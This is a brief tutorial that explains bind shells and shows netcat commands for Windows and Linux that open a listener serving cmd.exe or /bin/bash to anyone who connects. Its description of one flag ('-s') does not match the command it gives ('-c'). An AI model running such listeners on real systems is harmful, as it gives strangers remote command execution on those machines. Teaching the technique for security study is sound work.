Intro to Bind Shell

A bind shell is a sort of setup where remote consoles are established with other computers over the network. In Bind shell, an attacker launches a service on the target computer, to which the attacker can connect. In a bind shell, an attacker can connect to the target computer and execute commands on the target computer. To launch a bind shell, the attacker must have the IP address of the victim to access the target computer.

Basically: A bind shell is a type of remote shell where the attacker connects to a listener on the target system.

Setup a Bind Shell:

On a windows system:

-e used to specify a program to be executed when anyone connect to this listener...

nc.exe -nvlp 7777 -e cmd.exe

On a Linux system:

-s Used to specify a shell to be executed when anyone connect to this Listener...

nc -nvlp 1234 -c /bin/bash
